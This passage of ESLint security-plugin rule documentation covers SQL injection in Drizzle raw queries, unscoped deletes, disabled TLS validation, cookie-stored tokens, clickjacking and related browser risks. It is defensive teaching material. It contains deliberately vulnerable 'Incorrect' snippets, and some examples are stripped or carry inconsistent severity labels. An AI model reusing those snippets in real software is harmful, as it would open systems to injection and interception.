**position** — a hole where an identifier belongs, inside the tagged template | So `` sql`SELECT * FROM ${sql.raw(table)}` `` is a finding *here*: the hole is in an identifier position and `sql.raw()` splices rather than composing. `sql.raw('SELECT * FROM ' + table)` is a finding *there*: the string is built by concatenation. A line that does both is two different defects with two different fixes, not one finding reported twice. ## When Not To Use It [#when-not-to-use-it] There is no configuration where interpolating an identifier into a query is correct, so this rule has no options — which SQL positions accept a bind parameter is fixed by the database's grammar, not by project preference. If a specific line is genuinely a constant the analyzer cannot see through, disable it on that line with a reason rather than switching the rule off: ```ts // eslint-disable-next-line drizzle-security/no-raw-identifier-interpolation -- TABLE is a module constant await db.execute(sql`SELECT * FROM ${TABLE}`); ``` ## Further Reading [#further-reading] * [CWE-89: SQL Injection](https://cwe.mitre.org/data/definitions/89.html) * [OWASP A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) * [GHSA-gpj5-g38j-94v9](https://github.com/advisories/GHSA-gpj5-g38j-94v9) — the advisory this rule is anchored on * [Drizzle: magic `sql` operator](https://orm.drizzle.team/docs/sql) # no-unsafe-query **CWE:** [CWE-89](https://cwe.mitre.org/data/definitions/89.html) **OWASP:** [A03:2021 – Injection](https://owasp.org/Top10/A03_2021-Injection/) Detects SQL injection in Drizzle raw queries. This rule is part of [`eslint-plugin-drizzle-security`](https://www.npmjs.com/package/eslint-plugin-drizzle-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------ | | **CWE Reference** | [CWE-89](https://cwe.mitre.org/data/definitions/89.html) (SQL Injection) | | **Severity** | Critical (CVSS 9.8) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Rule Details [#rule-details] Reports three shapes when they reach a raw-SQL sink: 1. String concatenation — `sql.raw('SELECT ... ' + value)` 2. Template interpolation — ``sql.raw(`SELECT ... ${value}`)`` 3. A variable tainted by either, including via `+=`, then passed to a sink ### Sinks [#sinks] `sql.raw()` only. The safe `sql` tagged template parameterizes its interpolations and is a different AST node, so it can never be reported. ### ❌ Incorrect [#-incorrect] ```typescript await sql.raw(`SELECT * FROM users WHERE id = ${userId}`); await sql.raw('SELECT * FROM users WHERE email = ' + email); let sql = 'SELECT * FROM products WHERE 1=1'; sql += ` AND name = '${name}'`; await sql.raw(sql); ``` ### ✅ Correct [#-correct] ```typescript db.select().from(users).where(sql`id = ${userId}`); ``` ## Known limitations [#known-limitations] * Only identifier member access is matched, so `sql['raw'](...)` is a false negative. * Taint tracking is single-scope and name-based — it does not follow a query string across function boundaries. ## Implementation [#implementation] The detection is shared across the driver plugins via `createSqlInjectionRule` in `@interlace/eslint-devkit`; this rule supplies Drizzle's sinks and remediation copy. Install the plugin matching your stack and you get exactly one finding per line. ## Further Reading [#further-reading] * [Drizzle — parameterized queries](https://orm.drizzle.team/docs/sql#sqlraw) * [OWASP — SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) * [CWE-89](https://cwe.mitre.org/data/definitions/89.html) # no-unscoped-mutation **CWE:** [CWE-284](https://cwe.mitre.org/data/definitions/284.html) **OWASP:** [A01:2021 – Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/) Detects Drizzle bulk mutations that reach every row in the table. This rule is part of [`eslint-plugin-drizzle-security`](https://www.npmjs.com/package/eslint-plugin-drizzle-security). 💼 This rule is set to **error** in the `strict` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------ | | **CWE Reference** | [CWE-284](https://cwe.mitre.org/data/definitions/284.html) (Improper Access Control) | | **Severity** | High (CVSS 7.5) | | **Auto-Fix** | ❌ No auto-fix available | | **Category** | Security | ## Why this matters [#why-this-matters] A bulk mutation without a filter is one forgotten clause away from rewriting or deleting the entire table. It type-checks, it passes review, and it usually only shows up once it has run against production data. Drizzle's argument is the table (`db.delete(users)`), never a filter — the scope always arrives as a chained `.where()`. ## ❌ Incorrect [#-incorrect] ```ts // Deletes every row in users await db.delete(users); // Rewrites every row await db.update(users).set({ role: 'admin' }); // returning() is not a filter await db.delete(users).returning(); ``` ## ✅ Correct [#-correct] ```ts await db.delete(users).where(eq(users.id, id)); await db .update(users) .set({ active: false }) .where(eq(users.id, id)); ``` ## Known limitations [#known-limitations] This rule reports only what it can prove. Scope that cannot be read statically is treated as present, so the rule stays silent rather than guessing. ## When not to use it [#when-not-to-use-it] Disable this rule in maintenance scripts, seeders, and test fixtures whose job is to clear a table. Prefer a scoped `eslint-disable-next-line` on the specific call over switching the rule off for the whole project. ## Further reading [#further-reading] * [Drizzle documentation](https://orm.drizzle.team/docs/delete) * [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) # detect-mixed-content ⚠️ This rule **errors** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | ------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-311](https://cwe.mitre.org/data/definitions/311.html) (Missing Encryption of Sensitive Data) | | **OWASP Mobile** | [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) | | **Severity** | Medium | | **Category** | Security | ## Rule Details [#rule-details] Mixed content occurs when HTTPS pages load resources over HTTP. This weakens the security of the entire page, as attackers can intercept or modify the insecure resources through man-in-the-middle attacks. This rule detects any string literal starting with `http://`. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Loading resources over HTTP const imageUrl = 'http://example.com/logo.png'; const apiEndpoint = 'http://api.example.com/data'; // External script over HTTP ; // Fetching data without TLS fetch('http://api.example.com/users'); ``` ### ✅ Correct [#-correct] ```javascript // All resources over HTTPS const imageUrl = 'https://example.com/logo.png'; const apiEndpoint = 'https://api.example.com/data'; // External script over HTTPS ; // Secure fetch fetch('https://api.example.com/users'); // Protocol-relative URLs (inherits page protocol) const cdnUrl = '//cdn.example.com/asset.js'; ``` ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-311 OWASP:A04 CVSS:7.5 | Missing Encryption of Sensitive Data detected | HIGH Fix: Review and apply the recommended fix | https://owasp.org/Top10/A04_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-311](https://cwe.mitre.org/data/definitions/311.html) [OWASP:A04](https://owasp.org/Top10/A04_2021-Injection/) [CVSS:7.5](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Missing Encryption of Sensitive Data detected` | | **Severity & Compliance** | Impact assessment | `HIGH` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A04_2021-Injection/) | ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### URL from Variables [#url-from-variables] **Why**: URLs constructed dynamically cannot be traced. ```typescript // ❌ NOT DETECTED - Dynamic URL const protocol = isDevMode ? 'http' : 'https'; const url = `${protocol}://api.example.com`; ``` **Mitigation**: Always use HTTPS in production, configure via environment. ### Template Literals with Variables [#template-literals-with-variables] **Why**: Only static string literals are checked. ```typescript // ❌ NOT DETECTED - Template with variable protocol const baseUrl = `${config.protocol}://api.example.com`; ``` **Mitigation**: Validate URLs at runtime before use. ### URLs in JSON/Config Files [#urls-in-jsonconfig-files] **Why**: Rule only checks JavaScript/TypeScript files. ```json // ❌ NOT DETECTED - JSON config { "apiUrl": "http://api.example.com" } ``` **Mitigation**: Use separate config validation or JSON schema. ## When Not To Use It [#when-not-to-use-it] * In local development environments accessing `localhost` or `127.0.0.1` * When explicitly documenting insecure URLs in comments * In test fixtures testing HTTP behavior ## Further Reading [#further-reading] * [OWASP Mixed Content](https://owasp.org/www-community/vulnerabilities/Insecure_Transport) * [MDN Mixed Content](https://developer.mozilla.org/en-US/docs/Web/Security/Mixed_content) * [CWE-311: Missing Encryption](https://cwe.mitre.org/data/definitions/311.html) ## Related Rules [#related-rules] * [no-disabled-certificate-validation](./no-disabled-certificate-validation.md) * no-insecure-ssl (planned) (in eslint-plugin-postgresql-security) *** **Category:** Security\ **Type:** Problem\ **Recommended:** Yes # Rules Comprehensive coverage of XSS, cookie security, DOM protection, and client-side vulnerabilities. ## All Rules [#all-rules] *** ## Rule Categories [#rule-categories] ### XSS Prevention [#xss-prevention] Rules that prevent Cross-Site Scripting attacks through innerHTML, postMessage, and DOM manipulation. ### Cookie Security [#cookie-security] Rules for secure cookie handling, preventing sensitive data exposure in client-side storage. ### Content Security Policy [#content-security-policy] Rules enforcing proper CSP headers and preventing unsafe inline/eval patterns. ### DOM Security [#dom-security] Rules for safe DOM manipulation and preventing DOM-based vulnerabilities. ### WebSocket Security [#websocket-security] Rules for secure WebSocket communication and message handling. # no-allow-arbitrary-loads Prevents disabling App Transport Security (ATS) by detecting `allowArbitraryLoads: true` in configuration. ⚠️ This rule **errors** by default in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | -------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-295](https://cwe.mitre.org/data/definitions/295.html) (Improper Certificate Validation) | | **OWASP Mobile** | [M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) | | **Severity** | High | | **Category** | Security | ## Rule Details [#rule-details] App Transport Security (ATS) enforces secure connections for iOS/macOS applications. Setting `allowArbitraryLoads: true` disables this protection entirely, allowing insecure HTTP connections and weakening certificate validation. This rule detects configuration that disables ATS protection. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Disabling ATS entirely - DANGEROUS const config = { NSAppTransportSecurity: { allowArbitraryLoads: true, // Allows all insecure connections }, }; // In Info.plist configuration (parsed as JSON) const plist = { NSAppTransportSecurity: { NSAllowsArbitraryLoads: true, allowArbitraryLoads: true, }, }; ``` ### ✅ Correct [#-correct] ```javascript // Keep ATS enabled (default) const config = { NSAppTransportSecurity: { allowArbitraryLoads: false, // Or omit entirely }, }; // Allow exceptions only for specific domains const config = { NSAppTransportSecurity: { NSExceptionDomains: { 'legacy-api.example.com': { NSTemporaryExceptionAllowsInsecureHTTPLoads: true, }, }, }, }; ``` ## Error Message Format [#error-message-format] When triggered, this rule produces: ``` 🔒 CWE-295 | Prevent configuration allowing insecure loads detected - allowArbitraryLoads: true | HIGH Fix: Review and apply secure practices | https://cwe.mitre.org/data/definitions/295.html ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Dynamic Configuration [#dynamic-configuration] **Why**: Configuration values set dynamically at runtime cannot be traced. ```typescript // ❌ NOT DETECTED - Dynamic value const enableInsecure = process.env.ALLOW_INSECURE === 'true'; const config = { allowArbitraryLoads: enableInsecure }; ``` **Mitigation**: Never use environment variables to control security settings. ### Configuration in External Files [#configuration-in-external-files] **Why**: Rule only checks JavaScript/TypeScript, not Info.plist XML. ```xml NSAppTransportSecurity NSAllowsArbitraryLoads ``` **Mitigation**: Use plist linting tools for native iOS configuration. ## When Not To Use It [#when-not-to-use-it] * In development environments with local HTTP servers (use domain exceptions instead) * When targeting iOS 8 or earlier (ATS was introduced in iOS 9) ## Further Reading [#further-reading] * [OWASP Mobile Top 10 - M5: Insecure Communication](https://owasp.org/www-project-mobile-top-10/) * [Apple ATS Documentation](https://developer.apple.com/documentation/security/preventing_insecure_network_connections) * [CWE-295: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html) ## Related Rules [#related-rules] * [no-disabled-certificate-validation](./no-disabled-certificate-validation.md) * no-insecure-ssl (planned) (in eslint-plugin-postgresql-security) *** **Category:** Mobile Security\ **Type:** Problem\ **Recommended:** Yes # no-clickjacking **CWE:** [CWE-693](https://cwe.mitre.org/data/definitions/693.html)\ **OWASP Mobile:** [OWASP Mobile Top 10](https://owasp.org/www-project-mobile-top-10/) Detects clickjacking vulnerabilities and missing frame protections. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). 💼 This rule is set to **error** in the `recommended` config. ## Quick Summary [#quick-summary] | Aspect | Details | | ----------------- | --------------------------------------------------------------------------------------------------------- | | **CWE Reference** | [CWE-1021](https://cwe.mitre.org/data/definitions/1021.html) (Improper Restriction of Rendered UI Layers) | | **Severity** | Medium (CVSS 6.1) | | **Auto-Fix** | 💡 Suggestions available | | **Category** | Security | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Clickjacking (UI Redressing) occurs when an attacker uses transparent or opaque layers (like ` ``` ## Configuration [#configuration] ```javascript { rules: { 'browser-security/no-clickjacking': ['error', { trustedSources: ['self', 'https://trusted.com'], requireFrameBusting: true, detectTransparentOverlays: true }] } } ``` ## Options [#options] | Option | Type | Default | Description | | --------------------------- | ---------- | ------------------------ | -------------------------------------------------------------- | | `trustedSources` | `string[]` | `["self","same-origin"]` | Frame-ancestor sources treated as safe | | `requireFrameBusting` | `boolean` | `true` | Require frame-busting code in addition to headers | | `detectTransparentOverlays` | `boolean` | `true` | Report transparent overlays positioned over clickable elements | | `trustedSanitizers` | `string[]` | `[]` | Additional function names to consider as frame protectors | | `trustedAnnotations` | `string[]` | `[]` | Additional JSDoc annotations to consider as safe markers | | `strictMode` | `boolean` | `false` | Disable all false positive detection (strict mode) | ## Error Message Format [#error-message-format] ``` 🔒 CWE-1021 OWASP:A05-Misconfig CVSS:6.1 | Clickjacking Vulnerability | MEDIUM [SOC2,PCI-DSS] Fix: Add X-Frame-Options: DENY or CSP frame-ancestors | https://cheatsheetseries.owasp.org/... ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: Values stored in variables are not traced. ```typescript // ❌ NOT DETECTED - Value from variable const value = userInput; dangerousOperation(value); ``` **Mitigation**: Validate all user inputs. ### Wrapper Functions [#wrapper-functions] **Why**: Custom wrappers not recognized. ```typescript // ❌ NOT DETECTED - Wrapper myWrapper(userInput); // Uses dangerous API internally ``` **Mitigation**: Apply rule to wrapper implementations. ### Dynamic Invocation [#dynamic-invocation] **Why**: Dynamic calls not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic obj[method](userInput); ``` **Mitigation**: Avoid dynamic method invocation. ## Further Reading [#further-reading] * **[OWASP Clickjacking](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html)** - Defense cheat sheet * **[CWE-1021](https://cwe.mitre.org/data/definitions/1021.html)** - UI layer restriction * **[MDN X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options)** - Header documentation ## Related Rules [#related-rules] * [`no-missing-security-headers`](./no-missing-security-headers.md) - Missing security headers * [`no-missing-cors-check`](./no-missing-cors-check.md) - CORS validation # no-client-side-auth-logic Prevent client-side authentication logic that can be bypassed. This rule is part of [`eslint-plugin-browser-security`](https://www.npmjs.com/package/eslint-plugin-browser-security). ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | Error (security) | | **Auto-Fix** | ❌ No auto-fix | | **Category** | Browser Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | ## Rule Details [#rule-details] Client-side authentication checks can be easily bypassed. Always validate authentication on the server. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript if (localStorage.getItem('authenticated')) { proceed() } ``` ### ✅ Correct [#-correct] ```javascript // Server validates and returns appropriate response const response = await fetch('/api/admin/panel', { headers: { Authorization: `Bearer ${token}` }, }); if (response.ok) { showAdminPanel(); } ``` ## Configuration [#configuration] ```javascript { rules: { 'browser-security/no-client-side-auth-logic': 'error' } } ``` # no-cookie-auth-tokens > No Cookie Auth Tokens ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | ------------------------------------------------------------------------------------------------------ | | **CWE** | [CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag](https://cwe.mitre.org/data/definitions/1004.html) | | **OWASP** | A02:2021 - Cryptographic Failures | | **CVSS** | 8.5 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] Authentication tokens (JWT, session tokens, bearer tokens) stored in cookies accessible via JavaScript are vulnerable to XSS attacks. Attackers can steal these tokens and impersonate users. ## ❌ Incorrect [#-incorrect] ```javascript // Setting auth token in cookie document.cookie = 'authToken=' + token; // JWT in cookie document.cookie = `jwt=${response.token}; path=/`; // Bearer token document.cookie = 'bearer=' + bearerToken; // Session ID document.cookie = 'sessionId=' + session.id; ``` ## ✅ Correct [#-correct] ```javascript // Set cookies server-side with HttpOnly flag // Server (Express.js example): res.cookie('authToken', token, { httpOnly: true, secure: true, sameSite: 'strict', }); // Use non-sensitive cookies in JavaScript document.cookie = 'theme=dark'; document.cookie = 'locale=en-US'; ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-cookie-auth-tokens": [ "error", { "allowInTests": true } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Token Value from Variable [#token-value-from-variable] **Why**: Token patterns in variables not traced. ```typescript // ❌ NOT DETECTED - Token from variable const value = jwt; document.cookie = 'data=' + value; ``` **Mitigation**: Never set auth cookies client-side. ### Dynamic Cookie Names [#dynamic-cookie-names] **Why**: Computed cookie names not analyzed. ```typescript // ❌ NOT DETECTED - Dynamic name const key = 'authToken'; document.cookie = `${key}=${value}`; ``` **Mitigation**: Set auth cookies server-side with HttpOnly. ### Cookie Library Wrappers [#cookie-library-wrappers] **Why**: Library methods not recognized. ```typescript // ❌ NOT DETECTED - Library wrapper Cookies.set('token', jwt); // Uses document.cookie internally ``` **Mitigation**: Apply rule to library implementations. ## 📚 Related Resources [#-related-resources] * [MDN: HTTP Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies) * [OWASP: Session Management](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text ⚠️ CWE-1004 OWASP:A02 CVSS:5.3 | Sensitive Cookie Without HttpOnly detected | MEDIUM Fix: Review and apply the recommended fix | https://owasp.org/Top10/A02_2021/ ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | **Risk Standards** | Security benchmarks | [CWE-1004](https://cwe.mitre.org/data/definitions/1004.html) [OWASP:A02](https://owasp.org/Top10/A02_2021-Injection/) [CVSS:5.3](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV%3AN%2FAC%3AL%2FPR%3AN%2FUI%3AN%2FS%3AU%2FC%3AH%2FI%3AH%2FA%3AH) | | **Issue Description** | Specific vulnerability | `Sensitive Cookie Without HttpOnly detected` | | **Severity & Compliance** | Impact assessment | `MEDIUM` | | **Fix Instruction** | Actionable remediation | `Follow the remediation steps below` | | **Technical Truth** | Official reference | [OWASP Top 10](https://owasp.org/Top10/A02_2021-Injection/) | # no-credentials-in-query-params ## Quick Summary [#quick-summary] | Aspect | Details | | -------------- | -------------------------------------- | | **Severity** | High (Credential Exposure) | | **Auto-Fix** | ❌ No (requires moving data to Body) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Web and Mobile applications using APIs | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Passing sensitive information (like passwords, API keys, or session tokens) within URL query parameters (GET requests). **Risk:** URL query parameters are frequently stored in browser history, server logs, and web analytics platforms. They are also visible in the `Referer` header sent to third-party sites. An attacker with access to these logs or history can easily recover user credentials. ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-598 OWASP:M1 | Credentials in Query Params detected | HIGH [CredExposure] Fix: Do not pass sensitive data in URL; use POST request body or headers | https://cwe.mitre.org/data/definitions/598.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-598](https://cwe.mitre.org/data/definitions/598.html) [OWASP:M1](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Credentials in Query Params detected` | | **Severity & Compliance** | Impact assessment | `HIGH [CredExposure]` | | **Fix Instruction** | Actionable remediation | `Use POST request body or headers` | | **Technical Truth** | Official reference | [Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html) | ## Rule Details [#rule-details] This rule flags strings and template literals that contain common credential keywords (e.g., `password`, `token`, `secret`, `apikey`) followed by an assignment in a URL-like structure (query parameters). ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["URL String Detected"] --> B{"Contains ?"} B -->|Yes| C{"Contains password/token/key?"} B -->|No| G["✅ Safe URL"] C -->|Yes| D["🚨 Credential Exposure Risk"] C -->|No| G D --> E["💡 Move to POST Body / Headers"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | ----------------------------------- | ---------------------------------------------------------- | | 🕵️ **Leakage** | Credentials stored in logs/history | Send sensitive data in request body only | | 🚀 **Exfiltration** | Referer header leaks tokens | Use `Authorization: Bearer ` header | | 🔒 **Compliance** | Failure to meet security benchmarks | Implement strict transport security and data encapsulation | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Hardcoded credentials in a query string const url = '/api/login?username=user&password=pass123'; // Passing a token in the URL for a search query fetch('/api/search?token=abc123&query=test'); ``` ### ✅ Correct [#-correct] ```javascript // Safe URL without credentials const url = '/api/users?page=1&limit=10'; // Passing sensitive data in the request body (Secure) fetch('/api/login', { method: 'POST', body: JSON.stringify({ username: 'user', password: 'password' }), }); // Passing credentials in an Authorization header (Secure) fetch('/api/data', { headers: { Authorization: 'Bearer abc123', }, }); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Values from Variables [#values-from-variables] **Why**: This rule performs simple string matching on literals. It does not trace values stored in variables. ```javascript // ❌ NOT DETECTED const pName = 'password'; const pVal = 'secret'; const url = `/api?${pName}=${pVal}`; ``` **Mitigation**: Always use a URL builder library or a secure request utility. ### Dynamic URL Construction [#dynamic-url-construction] **Why**: If URLs are built using non-literal methods (e.g., `URLSearchParams` object), they might be missed. ```javascript // ❌ NOT DETECTED const params = new URLSearchParams(); params.append('password', '123'); const url = '/api?' + params.toString(); ``` **Mitigation**: Standardize on a secure API caller that automatically handles sensitive data. ## References [#references] * [CWE-598: Use of GET Request with Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html) * [OWASP: Information exposure through query strings in GET requests](https://owasp.org/www-community/vulnerabilities/Information_exposure_through_query_strings_in_GET_requests) # no-disabled-certificate-validation ## Quick Summary [#quick-summary] | Aspect | Details | | --------------- | ------------------------------------------------- | | **Severity** | Critical (MitM Risk) | | **Auto-Fix** | ❌ No (requires fixing infrastructure) | | **Category** | Security | | **ESLint MCP** | ✅ Optimized for ESLint MCP integration | | **Best For** | Node.js backend or apps using native network APIs | | **Suggestions** | ✅ Advice on using custom CAs for private certs | ## Vulnerability and Risk [#vulnerability-and-risk] **Vulnerability:** Disabling SSL/TLS certificate validation (e.g., setting `rejectUnauthorized: false`) tells the application to ignore errors during the security handshake. **Risk:** This makes the application highly vulnerable to Man-in-the-Middle (MitM) attacks. An attacker can intercept, view, and modify all traffic between the client and the server, even if the connection appears to be "encrypted". ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-295 OWASP:M5 | Disabled Certificate Validation detected | CRITICAL [MitM,Sniffing] Fix: Remove rejectUnauthorized: false; fix certificate issues properly | https://cwe.mitre.org/data/definitions/295.html ``` ### Message Components [#message-components] | Component | Purpose | Example | | :------------------------ | :--------------------- | :------------------------------------------------------------------------------------------------------------------ | | **Risk Standards** | Security benchmarks | [CWE-295](https://cwe.mitre.org/data/definitions/295.html) [OWASP:M5](https://owasp.org/www-project-mobile-top-10/) | | **Issue Description** | Specific vulnerability | `Disabled Certificate Validation detected` | | **Severity & Compliance** | Impact assessment | `CRITICAL [MitM,Sniffing]` | | **Fix Instruction** | Actionable remediation | `Remove rejectUnauthorized: false` | | **Technical Truth** | Official reference | [Improper Cert Validation](https://cwe.mitre.org/data/definitions/295.html) | ## Rule Details [#rule-details] This rule flags common patterns used to disable certificate validation in Node.js and various HTTP client libraries, as well as dangerous environment variable overrides. ```mermaid %%{init: { 'theme': 'base', 'themeVariables': { 'primaryColor': '#f8fafc', 'primaryTextColor': '#1e293b', 'primaryBorderColor': '#334155', 'lineColor': '#475569', 'c0': '#f8fafc', 'c1': '#f1f5f9', 'c2': '#e2e8f0', 'c3': '#cbd5e1' } }}%% flowchart TD A["Networking Config"] --> B{"rejectUnauthorized: false?"} B -->|Yes| C["🚨 Critical Security Risk"] A --> D{"NODE_TLS_REJECT_UNAUTHORIZED = '0'?"} D -->|Yes| E["🚨 Critical Security Risk"] B -->|No| F["✅ Secure Initialization"] ``` ### Why This Matters [#why-this-matters] | Issue | Impact | Solution | | ------------------- | ------------------------------- | --------------------------------------------------------------------- | | 🕵️ **MitM Attack** | Full data interception | Always keep validation enabled | | 🚀 **Integrity** | Malicious code injection | Verify server identity using trusted certificates | | ⚖️ **Compliance** | Violation of industry standards | Use private CAs for internal certificates instead of disabling checks | ## Configuration [#configuration] This rule has no configuration options in the current version. ## Examples [#examples] ### ❌ Incorrect [#-incorrect] ```javascript // Disabling validation in Node.js https agent const agent = new https.Agent({ rejectUnauthorized: false, }); // Disabling validation in axios axios.get('https://api.example.com', { httpsAgent: new https.Agent({ rejectUnauthorized: false }), }); // Dangerous environment variable override process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0'; ``` ### ✅ Correct [#-correct] ```javascript // Keeping certificate validation enabled (default) const agent = new https.Agent({ rejectUnauthorized: true, }); // Using custom CA for private networks const agent = new https.Agent({ ca: fs.readFileSync('path/to/private-ca.crt'), rejectUnauthorized: true, }); ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### Abstracted Agent Creation [#abstracted-agent-creation] **Why**: If the HTTPS agent is created in a separate module that is not analyzed, the rule might miss the insecure configuration. ```javascript import { getInsecureAgent } from './utils'; axios.get(url, { httpsAgent: getInsecureAgent() }); // ❌ NOT DETECTED ``` **Mitigation**: Standardize how HTTP clients are instantiated and enforce a global "no-insecure-tls" policy. ### Non-Standard Property Names [#non-standard-property-names] **Why**: While common names are covered, some niche libraries might use unique names for this setting. **Mitigation**: Periodically review library documentation for security-related configuration properties. ## References [#references] * [CWE-295: Improper Certificate Validation](https://cwe.mitre.org/data/definitions/295.html) * [Node.js Documentation - https.request options](https://nodejs.org/api/https.html#https_https_request_options_callback) * [OWASP Transport Layer Protection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html) # no-dynamic-service-worker-url > No Dynamic Service Worker Url ## ⚠️ Security Issue [#️-security-issue] | Property | Value | | ------------ | -------------------------------------------------------------------------------------------------------------------- | | **CWE** | [CWE-829: Inclusion of Functionality from Untrusted Control Sphere](https://cwe.mitre.org/data/definitions/829.html) | | **OWASP** | A08:2021 - Software and Data Integrity Failures | | **CVSS** | 8.1 (High) | | **Severity** | HIGH | ## 📋 Description [#-description] Dynamically constructing service worker URLs can lead to loading malicious scripts that have full control over network requests for your site. ## ❌ Incorrect [#-incorrect] ```javascript // Dynamic URL construction navigator.serviceWorker.register(userInput); // Template literal with expression navigator.serviceWorker.register(`${basePath}/sw.js`); // Concatenation navigator.serviceWorker.register(path + '/worker.js'); ``` ## ✅ Correct [#-correct] ```javascript // Static string URL navigator.serviceWorker.register('/sw.js'); // Constant URL navigator.serviceWorker.register('/service-worker.js', { scope: '/' }); ``` ## 🛠️ Options [#️-options] | Option | Type | Default | Description | | -------------- | --------- | ------- | ----------------------------------------------- | | `allowInTests` | `boolean` | `true` | Skip this rule in `*.test.*` / `*.spec.*` files | ```json { "rules": { "browser-security/no-dynamic-service-worker-url": [ "error", { "allowInTests": true } ] } } ``` ## Known False Negatives [#known-false-negatives] The following patterns are **not detected** due to static analysis limitations: ### URL from Configuration [#url-from-configuration] **Why**: Config values not analyzed. ```typescript // ❌ NOT DETECTED - From config navigator.serviceWorker.register(config.serviceWorkerUrl); ``` **Mitigation**: Hardcode service worker URLs. ### Aliased Register Function [#aliased-register-function] **Why**: Aliased functions not traced. ```typescript // ❌ NOT DETECTED - Aliased const registerSW = navigator.serviceWorker.register.bind( navigator.serviceWorker, ); registerSW(dynamicUrl); ``` **Mitigation**: Avoid aliasing register function. ## 📚 Related Resources [#-related-resources] * [MDN: Service Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API) * [Google: Service Worker Security](https://web.dev/service-worker-lifecycle/) ## Error Message Format [#error-message-format] The rule provides **LLM-optimized error messages** (Compact 2-line format) with actionable security guidance: ```text 🔒 CWE-829 OWASP:A03 CVSS:7.5 | Untrusted Control Sphere Inclusion 